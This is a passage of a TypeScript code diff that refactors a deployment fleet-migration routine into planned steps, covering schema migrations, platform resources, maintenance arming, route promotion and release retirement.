Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrated); - return migrated; - } - await lease.assertOwned(); - // Re-stamping a database this deployment already owns: the ownership - // sentinel short-circuits, and the only thing that can still happen is - // the fence row being CREATED where none exists. - // - // 'open' is hard-coded, and migrateFleet takes no fence option, for one - // reason: the deployment being migrated is `ready` or `migrating` — it - // is EXECUTING right now. A pre-0.20 database has no fence row and - // therefore reads as open; materializing that row must record what the - // deployment already IS, not impose something new. Seeding - // 'migration-locked' here would silently stop a live deployment in the - // middle of its own migration. Closing a fence is an operator action - // through POST /admin/execution-fence, never a side effect of a - // schema pass. - await backend.seedDeploymentIdentity( - database, - stored.tenantTag, - lease, - { - initialExecutionFenceState: 'open', - }, - ); - const pendingMigrations = spec.migrations.filter( - (candidate) => candidate.version > migrationRecord.schemaVersion, - ); - if (pendingMigrations.length === 0) { - await lease.assertOwned(); - await backend.applyMigrations(database, spec.migrations, lease); - } - for (const migration of pendingMigrations) { - await lease.assertOwned(); - await backend.applyMigrations( - database, - spec.migrations.slice(0, migration.version), - lease, - ); - migrationRecord = { - ...migrationRecord, - schemaVersion: migration.version, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } - if (migrationRecord.schemaVersion !== spec.schemaVersion) { - throw new Error( - `missing D1 migration path from ${stored.schemaVersion} to ${spec.schemaVersion}`, - ); - } - if (migrationRecord.migrationIntent?.subphase === 'planned') { - migrationRecord = { - ...migrationRecord, - migrationIntent: { - ...migrationRecord.migrationIntent, - subphase: 'schema-applied', - }, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } - if (targetPlatform) { - migrationRecord = await convergeExternalPlatformResources( - backend, + } + if ( + spec.migrations.some( + (migration) => + migration.version > storedSchemaVersion && + migration.rollbackCompatible !== true, + ) + ) { + throw new Error( + 'staged D1 migrations must attest rollbackCompatible before candidate creation', + ); + } + const targetRelease: ExternalReleaseSnapshot | undefined = + targetPhysicalScriptName + ? { + physicalScriptName: targetPhysicalScriptName, + specDigest: targetDigest, + artifactVersion: 'pending', + releaseSchemaVersion: spec.schemaVersion, + application: applicationBindingTopology( spec, - database, - secrets, - migrationRecord.migrationIntent?.target ?? targetPlatform, - migrationRecord, - lease, - options.clock ?? Date.now, - finalizedStateProvider, - ); - if (migrationRecord.migrationIntent?.subphase === 'schema-applied') { - migrationRecord = { - ...migrationRecord, - migrationIntent: { - ...migrationRecord.migrationIntent, - subphase: 'platform-applied', - }, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } + stored.applicationResources ?? [], + ), } - if ( - migrationRecord.pendingRelease && - migrationRecord.platformResources - ) { - const topology = externalReleaseTopology( - spec, - migrationRecord.platformResources, - migrationRecord.applicationResources, - ); - migrationRecord = { - ...migrationRecord, - pendingRelease: { ...migrationRecord.pendingRelease, topology }, - ...(migrationRecord.migrationIntent - ? { - migrationIntent: { - ...migrationRecord.migrationIntent, - targetRelease: { - ...migrationRecord.migrationIntent.targetRelease, - topology, - }, - }, - } - : {}), - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } - let live: LiveDeployment | undefined; - if (migrationRecord.migrationIntent?.subphase !== 'platform-applied') { - live = await backend.inspect( - spec, - secrets.maintenanceAdmin, - pendingArtifactVersion(migrationRecord), - ); - } - if ( - migrationRecord.pendingRelease && - migrationRecord.pendingRelease.artifactVersion !== 'pending' - ) { - assertExternalReleaseArtifactVersion( - live, - migrationRecord.pendingRelease, - 'migration candidate', - ); - } - if ( - migrationRecord.migrationIntent?.subphase === 'platform-applied' || - !live || - live.desiredSpecDigest !== targetDigest - ) { - migrationRecord = await commitInvocationAuthority( - lease, - migrationRecord, - options.clock ?? Date.now, - ); - await lease.assertOwned(); - const deployed = await backend.deployWorker( - spec, - database, - secrets, - migrationRecord.platformResources, - lease, - migrationRecord.pendingRelease?.artifactVersion ?? - migrationRecord.pendingArtifactVersion ?? - (immutableExternal ? 'pending' : undefined), - migrationRecord.migrationIntent?.targetRelease.application ?? - migrationRecord.pendingRelease?.application ?? - applicationBindingTopology( - spec, - migrationRecord.applicationResources ?? [], - ), - ); - if ( - targetPhysicalScriptName && - deployed.physicalScriptName !== targetPhysicalScriptName - ) { - throw new Error('backend deployed an unexpected physical release'); - } - } - live = await backend.inspect( - spec, - secrets.maintenanceAdmin, - pendingArtifactVersion(migrationRecord), - ); - if (!live) throw new Error('migration candidate is missing'); - assertLiveDeploymentMatches( - live, - stored, - spec, - targetDigest, - migrationRecord.migrationIntent?.targetRelease.application ?? - migrationRecord.pendingRelease?.application, + : undefined; + const targetPlatform = immutableExternal + ? finalizedStateProvider + ? finalizedStateProvider.describeFinalizedBridgeTarget(spec, stored) + : describeExternalPlatformTarget(backend, spec) + : undefined; + if (stored.platformTarget && targetPlatform) { + assertExternalPlatformTargetCompatibility( + stored.platformTarget, + targetPlatform, + ); + } + const platformOnlyTarget = targetPlatform + ? effectiveAppliedPlatformTarget(stored, targetPlatform) + : undefined; + if ( + stored.phase === 'migrating' && + (immutableExternal + ? stored.migrationIntent?.platformOnly === true + ? stored.migrationIntent.targetSpecDigest !== targetDigest || + JSON.stringify(stored.migrationIntent.target) !== + JSON.stringify(platformOnlyTarget) + : stored.pendingRelease?.specDigest !== targetDigest || + stored.pendingRelease?.physicalScriptName !== + targetPhysicalScriptName || + stored.pendingRelease.releaseSchemaVersion !== spec.schemaVersion || + stored.migrationIntent?.targetSpecDigest !== targetDigest + : stored.pendingSpecDigest !== targetDigest) + ) { + throw new Error('migration retry uses a different desired specification'); + } + if ( + spec.previousDurableObjectTag !== stored.durableObjectTag && + (doBaseExpectation === 'strict' || + (stored.durableObjectTag !== targetDurableObjectTag(spec) && + !( + spec.authoredBy === 'external' && + stored.platformResources?.stateWorker.plane === 'ordinary' && + stored.durableObjectTag === + stored.platformResources.stateWorker.durableObjectTag + ))) + ) { + throw new Error( + `Durable Object migration base mismatch for ${stored.tenantTag}:${stored.environment}: expected '${stored.durableObjectTag ?? 'none'}'`, + ); + } + const database = await reconcilePersistedDatabase( + backend, + stored, + false, + lease, + ); + if (!database) { + throw new Error(`persisted database '${stored.databaseId}' is absent`); + } + return { + reread: stored, + admitted: { + lease, + database, + backend, + spec, + secrets, + targetDigest, + finalizedStateProvider, + settlementFor: deps.settlementFor, + attestationOptions: deps.attestationOptions, + get clock() { + return deps.clock; + }, + immutableExternal, + targetRelease, + targetPlatform, + platformOnlyTarget, + targetPhysicalScriptName, + }, + }; +} + +function platformOnlyChangeOf( + current: FleetRecord, + admitted: AdmittedFleetMigrationContext, +): boolean { + return ( + current.desiredSpecDigest === admitted.targetDigest && + admitted.platformOnlyTarget !== undefined && + current.platformTarget !== undefined && + JSON.stringify(current.platformTarget) !== + JSON.stringify(admitted.platformOnlyTarget) + ); +} + +function assertFleetMigrationNonReadyGuards( + admitted: AdmittedFleetMigrationContext, + stored: FleetRecord, +): void { + const { spec, immutableExternal, targetRelease, targetPlatform } = admitted; + const platformOnlyChange = platformOnlyChangeOf(stored, admitted); + if ( + spec.schemaVersion < stored.schemaVersion && + !platformOnlyChange && + stored.migrationIntent?.platformOnly !== true + ) { + throw new Error( + `schema downgrade refused for ${stored.tenantTag}:${stored.environment}`, + ); + } + if (immutableExternal && !stored.activeRelease) { + throw new Error( + 'immutable external migration has no durable active release metadata', + ); + } + if ( + immutableExternal && + targetRelease && + targetPlatform && + (!stored.platformTarget || !stored.outboundPolicy) + ) { + throw new Error( + 'immutable external migration has no durable prior platform target and policy', + ); + } +} + +export async function admitFleetMigrationItem( + deps: FleetMigrationDependencies, + tenantTag: string, + environment: string, +): Promise< + Readonly<{ + admitted: AdmittedFleetMigrationContext; + plan: readonly FleetMigrationPlanEntry[]; + reread: FleetRecord; + }> +> { + const { admitted, reread } = await runFleetMigrationPreamble( + deps, + tenantTag, + environment, + 'strict', + ); + const plan: FleetMigrationPlanEntry[] = []; + if (reread.phase === 'ready' && reread.retiringRelease) { + plan.push({ step: 'retire-pre' }); + } + const platformOnlyChange = platformOnlyChangeOf(reread, admitted); + if ( + reread.phase === 'ready' && + reread.desiredSpecDigest === admitted.targetDigest && + !platformOnlyChange + ) { + plan.push( + { step: 'ready-target-backfill' }, + { step: 'ready-platform-resources' }, + { step: 'ready-maintenance' }, + { step: 'ready-promote' }, + { step: 'ready-attest-settle' }, + { step: 'ready-retire-post' }, + ); + } else { + if (reread.phase === 'ready') plan.push({ step: 'admit-migrating' }); + plan.push({ step: 'assert-migrating' }); + const platformOnly = + reread.phase === 'ready' + ? platformOnlyChange + : reread.migrationIntent?.platformOnly === true; + if (platformOnly) { + plan.push( + { step: 'platform-only-schema' }, + { step: 'platform-only-resources' }, + { step: 'platform-only-maintenance' }, + { step: 'platform-only-promote' }, + { step: 'platform-only-ready' }, + ); + } else { + plan.push({ step: 'seed-identity' }); + const pending = admitted.spec.migrations.filter( + ({ version }) => version > reread.schemaVersion, + ); + if (pending.length === 0) plan.push({ step: 'apply-migrations' }); + for (const { version } of pending) { + plan.push({ step: 'apply-migrations', targetSchemaVersion: version }); + } + plan.push( + { step: 'migration-schema-applied' }, + { step: 'platform-resources' }, + { step: 'pending-topology' }, + { step: 'deploy-candidate' }, + { step: 'arm-maintenance' }, + { step: 'promote' }, + { step: 'settle-ready' }, + { step: 'retire-post' }, + ); + } + } + if (plan.length > FLEET_MIGRATION_PLAN_BOUND) { + throw new Error( + `fleet migration plan for item ${deps.ordinal} exceeds the plan bound of 64 steps`, + ); + } + if (fleetMigrationPlanKindOf(plan) !== 'ready') { + assertFleetMigrationNonReadyGuards(admitted, reread); + } + return { admitted, plan, reread }; +} + +function isPlatformOnlyTerminalProjection( + current: FleetRecord, + admitted: AdmittedFleetMigrationContext, +): boolean { + const { platformOnlyTarget } = admitted; + return ( + platformOnlyTarget !== undefined && + JSON.stringify(current.platformTarget) === + JSON.stringify(platformOnlyTarget) && + JSON.stringify(current.outboundPolicy) === + JSON.stringify(platformOnlyTarget.outboundPolicy) + ); +} + +function isFullTerminalProjection( + current: FleetRecord, + admitted: AdmittedFleetMigrationContext, +): boolean { + const { spec, targetPlatform, targetRelease } = admitted; + if ( + current.schemaVersion !== spec.schemaVersion || + current.pendingSpecDigest !== undefined || + current.pendingArtifactVersion !== undefined || + current.pendingRelease !== undefined || + current.migrationPriorRelease !== undefined + ) + return false; + if ( + targetPlatform && + (JSON.stringify(current.platformTarget) !== + JSON.stringify(targetPlatform) || + JSON.stringify(current.outboundPolicy) !== + JSON.stringify(targetPlatform.outboundPolicy)) + ) + return false; + if ( + targetRelease && + (!current.activeRelease || + current.activeRelease.physicalScriptName !== + targetRelease.physicalScriptName || + current.activeRelease.releaseSchemaVersion !== + targetRelease.releaseSchemaVersion) + ) + return false; + const expectedApplication = targetRelease + ? (current.activeRelease?.application ?? + applicationBindingTopology(spec, current.applicationResources ?? [])) + : applicationBindingTopology(spec, current.applicationResources ?? []); + return ( + JSON.stringify(current.applicationBindings) === + JSON.stringify(expectedApplication) + ); +} + +function isConvergedTerminalCommit( + current: FleetRecord, + admitted: AdmittedFleetMigrationContext, + planKind: 'platform-only' | 'full', +): boolean { + return ( + current.phase === 'ready' && + current.migrationIntent === undefined && + current.desiredSpecDigest === admitted.targetDigest && + !platformOnlyChangeOf(current, admitted) && + (planKind === 'platform-only' + ? isPlatformOnlyTerminalProjection(current, admitted) + : isFullTerminalProjection(current, admitted)) + ); +} + +export async function assertMigratingCarrierState( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { + lease, + spec, + immutableExternal, + targetPlatform, + platformOnlyTarget, + finalizedStateProvider, + } = admitted; + if ( + immutableExternal && + (!current.migrationIntent || + (current.migrationIntent.platformOnly !== true && + (!current.migrationPriorRelease || !current.pendingRelease))) + ) { + throw new Error( + 'immutable external migration lost its durable release intent', + ); + } + if (targetPlatform && current.migrationIntent) { + assertExternalPlatformTarget( + current.migrationIntent.target, + current.migrationIntent.platformOnly === true + ? (platformOnlyTarget as ExternalPlatformTargetDescription) + : targetPlatform, + 'migration retry', + ); + } + if (finalizedStateProvider && targetPlatform) { + const finalizedPlan = finalizedStateProvider.describeFinalizedState({ + targetSpec: spec, + currentRecord: current, + target: current.migrationIntent?.target ?? targetPlatform, + }); + await finalizedStateProvider.assertFinalizedState({ + targetSpec: spec, + currentRecord: current, + target: current.migrationIntent?.target ?? targetPlatform, + plan: finalizedPlan, + fence: lease, + }); + } +} + +async function migrationRetirePre( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease, database, backend, spec } = admitted; + if (current.phase === 'ready' && current.retiringRelease) { + current = await retireCommittedRelease( + backend, + spec, + database, + current, + lease, + admitted.clock, + ); + } + return current; +} + +async function migrationReadyTargetBackfill( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease, targetPlatform } = admitted; + if (targetPlatform) { + if (!current.platformTarget) { + if (!current.platformResources) { + throw new Error( + 'ready external deployment has no trusted platform resources', ); - if (migrationRecord.pendingRelease) { - assertExternalReleaseArtifactVersion( - live, - migrationRecord.pendingRelease, - 'migration candidate', - ); - } - if ( - targetPhysicalScriptName && - live.scriptName !== targetPhysicalScriptName - ) { - throw new Error( - 'migration candidate has an unexpected physical name', - ); - } - if ( - migrationRecord.migrationIntent && - migrationRecord.pendingRelease?.artifactVersion === 'pending' - ) { - const intendedTopology = migrationRecord.pendingRelease.topology; - if (!intendedTopology) { - throw new Error( - 'migration candidate has no intended binding topology', - ); + } + assertPlatformResourcesMatchTarget( + current.platformResources, + targetPlatform, + ); + current = { + ...current, + platformTarget: targetPlatform, + outboundPolicy: targetPlatform.outboundPolicy, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + } + return current; +} + +async function migrationReadyPlatformResources( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { + lease, + database, + backend, + spec, + secrets, + finalizedStateProvider, + targetPlatform, + platformOnlyTarget, + } = admitted; + if (targetPlatform) { + const rollbackCompatibleTarget = platformOnlyTarget ?? targetPlatform; + assertExternalPlatformTarget( + current.platformTarget, + rollbackCompatibleTarget, + 'ready deployment', + ); + current = await convergeExternalPlatformResources( + backend, + spec, + database, + secrets, + rollbackCompatibleTarget, + current, + lease, + admitted.clock, + finalizedStateProvider, + ); + } + return current; +} + +async function migrationReadyMaintenance( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { + lease, + backend, + spec, + secrets, + targetDigest, + immutableExternal, + targetRelease, + } = admitted; + const live = await backend.inspect( + spec, + secrets.maintenanceAdmin, + activeArtifactVersion(current), + ); + if (!live) throw new Error('ready migration target is missing'); + assertLiveDeploymentMatches( + live, + current, + spec, + targetDigest, + current.activeRelease?.application, + ); + if (immutableExternal && current.activeRelease) { + assertExternalReleaseArtifactVersion( + live, + current.activeRelease, + 'ready migration', + ); + } + if ( + targetRelease && + (current.activeRelease?.physicalScriptName !== + targetRelease.physicalScriptName || + current.activeRelease.releaseSchemaVersion !== + targetRelease.releaseSchemaVersion || + current.activeRelease.artifactVersion !== live.artifactVersion) + ) { + throw new Error( + 'ready immutable release metadata does not exactly match the target', + ); + } + let maintenance = live.maintenance; + if (!maintenance.armed) { + current = await commitInvocationAuthority(lease, current, admitted.clock); + await lease.assertOwned(); + maintenance = await backend.ensureMaintenance( + spec, + secrets.maintenanceAdmin, + lease, + activeArtifactVersion(current), + ); + } + if (!maintenance.armed) throw new Error('maintenance did not re-arm'); + return current; +} + +async function migrationReadyPromote( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease, backend, spec, targetPhysicalScriptName } = admitted; + current = await commitInvocationAuthority(lease, current, admitted.clock); + await lease.assertOwned(); + await backend.promoteWorker( + spec, + buildPromotionGuard(current, targetPhysicalScriptName ?? spec.scriptName), + current.outboundPolicy, + lease, + activeArtifactVersion(current), + ); + return current; +} + +async function migrationReadyAttestSettle( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { + lease, + backend, + spec, + targetDigest, + settlementFor, + attestationOptions, + } = admitted; + // The steady-state path: an unchanged deployment reconciled again. + // It re-promotes because a crash could have left the route behind, + // so it must re-attest — but it must not re-settle, or a fleet on a + // reconcile schedule would settle forever. + const convergence = await settlePromotedRoute({ + backend, + spec, + record: current, + entry: 'ready-convergence', + target: current.activeRelease, + prior: current.rollbackRelease, + expectedSpecDigest: targetDigest, + expectedArtifactVersion: activeArtifactVersion(current), + settlementHost: settlementFor?.(current), + attestation: attestationOptions, + skipWhenAlreadySettled: true, + }); + if (convergence.settled) { + current = { + ...current, + settledSettlementKey: convergence.settlementKey, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationReadyRetirePost( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease, database, backend, spec } = admitted; + return retireCommittedRelease( + backend, + spec, + database, + current, + lease, + admitted.clock, + ); +} + +async function migrationAdmitMigrating( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + planKind: FleetMigrationPlanKind, +): Promise { + const { + lease, + targetDigest, + immutableExternal, + targetRelease, + targetPlatform, + platformOnlyTarget, + } = admitted; + const externalIntent: ExternalMigrationIntent | undefined = + immutableExternal && targetRelease && targetPlatform + ? planKind === 'platform-only' + ? { + platformOnly: true, + targetSpecDigest: targetDigest, + priorRelease: current.activeRelease as ExternalReleaseSnapshot, + priorTarget: + current.platformTarget as ExternalPlatformTargetDescription, + priorOutboundPolicy: + current.outboundPolicy as DeploymentEgressPolicy, + targetRelease: current.activeRelease as ExternalReleaseSnapshot, + target: platformOnlyTarget as ExternalPlatformTargetDescription, + subphase: 'planned', } - const pendingRelease = { - ...migrationRecord.migrationIntent.targetRelease, - artifactVersion: live.artifactVersion, - topology: externalReleaseTopologyFromLive(live, intendedTopology), - }; - migrationRecord = { - ...migrationRecord, - pendingRelease, - migrationIntent: { - ...migrationRecord.migrationIntent, - targetRelease: pendingRelease, - subphase: 'candidate-deployed', - }, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } else if ( - !immutableExternal && - migrationRecord.pendingArtifactVersion === undefined - ) { - migrationRecord = { - ...migrationRecord, - pendingArtifactVersion: live.artifactVersion, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); + : { + targetSpecDigest: targetDigest, + priorRelease: current.activeRelease as ExternalReleaseSnapshot, + priorTarget: + current.platformTarget as ExternalPlatformTargetDescription, + priorOutboundPolicy: + current.outboundPolicy as DeploymentEgressPolicy, + targetRelease, + target: targetPlatform, + subphase: 'planned', + } + : undefined; + const migrationRecord: FleetRecord = + current.phase === 'ready' + ? { + ...current, + phase: 'migrating', + ...(externalIntent?.platformOnly + ? { migrationIntent: externalIntent } + : targetRelease + ? { + pendingRelease: targetRelease, + migrationPriorRelease: current.activeRelease, + migrationIntent: externalIntent, + } + : {}), + ...(!targetRelease ? { pendingSpecDigest: targetDigest } : {}), + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), } - migrationRecord = await commitInvocationAuthority( - lease, - migrationRecord, - options.clock ?? Date.now, - ); - await lease.assertOwned(); - const maintenance = await backend.ensureMaintenance( - spec, - secrets.maintenanceAdmin, - lease, - pendingArtifactVersion(migrationRecord), - ); - if (!maintenance.armed) throw new Error('maintenance did not re-arm'); - if ( - migrationRecord.migrationIntent?.subphase === 'candidate-deployed' - ) { - migrationRecord = { - ...migrationRecord, + : current; + if (current.phase === 'ready') await lease.put(migrationRecord); + return migrationRecord; +} + +async function migrationAssertMigrating( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + await assertMigratingCarrierState(admitted, current); + return current; +} + +async function migrationPlatformOnlySchema( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease } = admitted; + const intent = current.migrationIntent as ExternalMigrationIntent; + if (intent.subphase === 'planned') { + current = { + ...current, + migrationIntent: { + ...intent, + subphase: 'schema-applied', + }, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationPlatformOnlyResources( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease, database, backend, spec, secrets, finalizedStateProvider } = + admitted; + const platformMigrationTarget = ( + current.migrationIntent as ExternalMigrationIntent + ).target; + current = await convergeExternalPlatformResources( + backend, + spec, + database, + secrets, + platformMigrationTarget, + current, + lease, + admitted.clock, + finalizedStateProvider, + ); + if (current.migrationIntent?.subphase === 'schema-applied') { + current = { + ...current, + migrationIntent: { + ...current.migrationIntent, + subphase: 'platform-applied', + }, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationPlatformOnlyMaintenance( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + entry: FleetRecord, +): Promise { + const { lease, backend, spec, secrets, targetDigest } = admitted; + const platformMigrationRelease = ( + current.migrationIntent as ExternalMigrationIntent + ).targetRelease; + const maintenancePreflight = await backend.inspect( + spec, + secrets.maintenanceAdmin, + platformMigrationRelease.artifactVersion, + ); + if (!maintenancePreflight) { + throw new Error('platform-only migration release is missing'); + } + assertLiveDeploymentMatches( + maintenancePreflight, + entry, + spec, + targetDigest, + platformMigrationRelease.application, + ); + assertExternalReleaseArtifactVersion( + maintenancePreflight, + platformMigrationRelease, + 'platform-only maintenance', + ); + current = await commitInvocationAuthority(lease, current, admitted.clock); + await lease.assertOwned(); + const maintenance = await backend.ensureMaintenance( + spec, + secrets.maintenanceAdmin, + lease, + platformMigrationRelease.artifactVersion, + ); + if (!maintenance.armed) { + throw new Error( + 'platform-only migration maintenance is unarmed before route publication', + ); + } + return current; +} + +async function migrationPlatformOnlyPromote( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + entry: FleetRecord, +): Promise { + const { + lease, + backend, + spec, + secrets, + targetDigest, + targetPhysicalScriptName, + } = admitted; + const platformMigrationTarget = ( + current.migrationIntent as ExternalMigrationIntent + ).target; + const platformMigrationRelease = ( + current.migrationIntent as ExternalMigrationIntent + ).targetRelease; + if (current.migrationIntent?.subphase === 'platform-applied') { + const publicationPreflight = await backend.inspect( + spec, + secrets.maintenanceAdmin, + platformMigrationRelease.artifactVersion, + ); + if (!publicationPreflight) { + throw new Error('platform-only migration release is missing'); + } + assertLiveDeploymentMatches( + publicationPreflight, + entry, + spec, + targetDigest, + platformMigrationRelease.application, + ); + assertExternalReleaseArtifactVersion( + publicationPreflight, + platformMigrationRelease, + 'platform-only publication', + ); + // The preceding maintenance step durably committed invocation authority. + await lease.assertOwned(); + await backend.promoteWorker( + spec, + buildPromotionGuard(current, targetPhysicalScriptName ?? spec.scriptName), + platformMigrationTarget.outboundPolicy, + lease, + platformMigrationRelease.artifactVersion, + ); + current = { + ...current, + migrationIntent: { + ...current.migrationIntent, + subphase: 'route-published', + }, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationPlatformOnlyReady( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + entry: FleetRecord, +): Promise { + const { + lease, + backend, + spec, + secrets, + targetDigest, + settlementFor, + attestationOptions, + } = admitted; + if (isConvergedTerminalCommit(current, admitted, 'platform-only')) + return current; + const platformMigrationTarget = ( + current.migrationIntent as ExternalMigrationIntent + ).target; + const platformMigrationRelease = ( + current.migrationIntent as ExternalMigrationIntent + ).targetRelease; + const live = await backend.inspect( + spec, + secrets.maintenanceAdmin, + platformMigrationRelease.artifactVersion, + ); + if (!live) throw new Error('platform-only migration release is missing'); + assertLiveDeploymentMatches( + live, + entry, + spec, + targetDigest, + platformMigrationRelease.application, + ); + assertExternalReleaseArtifactVersion( + live, + platformMigrationRelease, + 'platform-only settlement', + ); + const platformSettlement = await settlePromotedRoute({ + backend, + spec, + record: current, + entry: 'platform-only', + target: platformMigrationRelease, + prior: current.rollbackRelease, + expectedSpecDigest: targetDigest, + expectedArtifactVersion: platformMigrationRelease.artifactVersion, + settlementHost: settlementFor?.(current), + attestation: attestationOptions, + }); + const settled = { ...current }; + delete settled.migrationIntent; + const migrated: FleetRecord = { + ...settled, + phase: 'ready', + platformTarget: platformMigrationTarget, + outboundPolicy: platformMigrationTarget.outboundPolicy, + ...(platformSettlement.settled + ? { settledSettlementKey: platformSettlement.settlementKey } + : {}), + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(migrated); + return migrated; +} + +async function migrationSeedIdentity( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + entry: FleetRecord, +): Promise { + const { lease, database, backend } = admitted; + await lease.assertOwned(); + // Re-stamping a database this deployment already owns: the ownership + // sentinel short-circuits, and the only thing that can still happen is + // the fence row being CREATED where none exists. + // + // 'open' is hard-coded, and migrateFleet takes no fence option, for one + // reason: the deployment being migrated is `ready` or `migrating` — it + // is EXECUTING right now. A pre-0.20 database has no fence row and + // therefore reads as open; materializing that row must record what the + // deployment already IS, not impose something new. Seeding + // 'migration-locked' here would silently stop a live deployment in the + // middle of its own migration. Closing a fence is an operator action + // through POST /admin/execution-fence, never a side effect of a + // schema pass. + await backend.seedDeploymentIdentity(database, entry.tenantTag, lease, { + initialExecutionFenceState: 'open', + }); + return current; +} + +async function migrationApplyMigrations( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + entry: FleetRecord, + planEntry: FleetMigrationPlanEntry, + finalOccurrence: boolean, +): Promise { + const { backend, database, lease, spec } = admitted; + const { targetSchemaVersion } = planEntry; + if ( + targetSchemaVersion === undefined || + (current.schemaVersion >= targetSchemaVersion && finalOccurrence) + ) { + await lease.assertOwned(); + await backend.applyMigrations(database, spec.migrations, lease); + } else if (current.schemaVersion < targetSchemaVersion) { + await lease.assertOwned(); + await backend.applyMigrations( + database, + spec.migrations.slice(0, targetSchemaVersion), + lease, + ); + current = { + ...current, + schemaVersion: targetSchemaVersion, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + if (finalOccurrence && current.schemaVersion !== spec.schemaVersion) { + throw new Error( + `missing D1 migration path from ${entry.schemaVersion} to ${spec.schemaVersion}`, + ); + } + return current; +} + +async function migrationSchemaApplied( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease } = admitted; + if (current.migrationIntent?.subphase === 'planned') { + current = { + ...current, + migrationIntent: { + ...current.migrationIntent, + subphase: 'schema-applied', + }, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationPlatformResources( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { + lease, + database, + backend, + spec, + secrets, + finalizedStateProvider, + targetPlatform, + } = admitted; + if (targetPlatform) { + current = await convergeExternalPlatformResources( + backend, + spec, + database, + secrets, + current.migrationIntent?.target ?? targetPlatform, + current, + lease, + admitted.clock, + finalizedStateProvider, + ); + if (current.migrationIntent?.subphase === 'schema-applied') { + current = { + ...current, + migrationIntent: { + ...current.migrationIntent, + subphase: 'platform-applied', + }, + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + } + return current; +} + +async function migrationPendingTopology( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, +): Promise { + const { lease, spec } = admitted; + if (current.pendingRelease && current.platformResources) { + const topology = externalReleaseTopology( + spec, + current.platformResources, + current.applicationResources, + ); + current = { + ...current, + pendingRelease: { ...current.pendingRelease, topology }, + ...(current.migrationIntent + ? { migrationIntent: { - ...migrationRecord.migrationIntent, - subphase: 'candidate-armed', + ...current.migrationIntent, + targetRelease: { + ...current.migrationIntent.targetRelease, + topology, + }, }, - updatedAt: new Date((options.clock ?? Date.now)()).toISOString(), - }; - await lease.put(migrationRecord); - } - const publicationPreflight = await backend.inspect( - spec, - secrets.maintenanceAdmin, - pendingArtifactVersion(migrationRecord), - ); - if (!publicationPreflight) { - throw new Error('migration candidate is missing before publication'); + } + : {}), + updatedAt: new Date((admitted.clock ?? Date.now)()).toISOString(), + }; + await lease.put(current); + } + return current; +} + +async function migrationDeployCandidate( + admitted: AdmittedFleetMigrationContext, + current: FleetRecord, + entry: FleetRecord, +): Promise { + const { + lease, + database, + backend, + spec, + secrets, + targetDigest, + immutableExternal, + targetPhysicalScriptName, + } = admitted; + let live: LiveDeployment | undefined; + if (current.migrationIntent?.subphase !== 'platform-applied') { + live = await backend.inspect( + spec, + secrets.maintenanceAdmin, + pendingArtifactVersion(current), + ); + } + if ( + current.pendingRelease && + current.pendingRelease.artifactVersion !== 'pending' + ) { + assertExternalReleaseArtifactVersion( + live, + current.pendingRelease, + 'migration candidate', + ); + } + if ( + current.migrationIntent?.subphase === 'platform-applied' || + !live || + live.desiredSpecDigest !== targetDigest + ) { + current = await commitInvocationAuthority(lease, current, admitted.clock); + await lease.assertOwned(); + const deployed = await backend.deployWorker( + spec, + database, + secrets, + current.platformResources, + lease, + current.pendingRelease?.artifactVersion ?? + current.pendingArtifactVersion ?? + (immutableExternal ? 'pending' : undefined), + current.migrationIntent?.targetRelease.application ?? + current.pendingRelease?.application ?? + applicationBindingTopology(spec, current.applicationResources ?? []), + ); + if ( + targetPhysicalScriptName && + deployed.physicalScriptName !== targetPhysicalScriptName + ) { + throw new Error('backend deployed an unexpected physical release'); + } + } + live = await backend.inspect( + spec, + secrets.maintenanceAdmin, + pendingArtifactVersion(current), + ); + if (!live) throw new Error('migration candidate is missing'); + 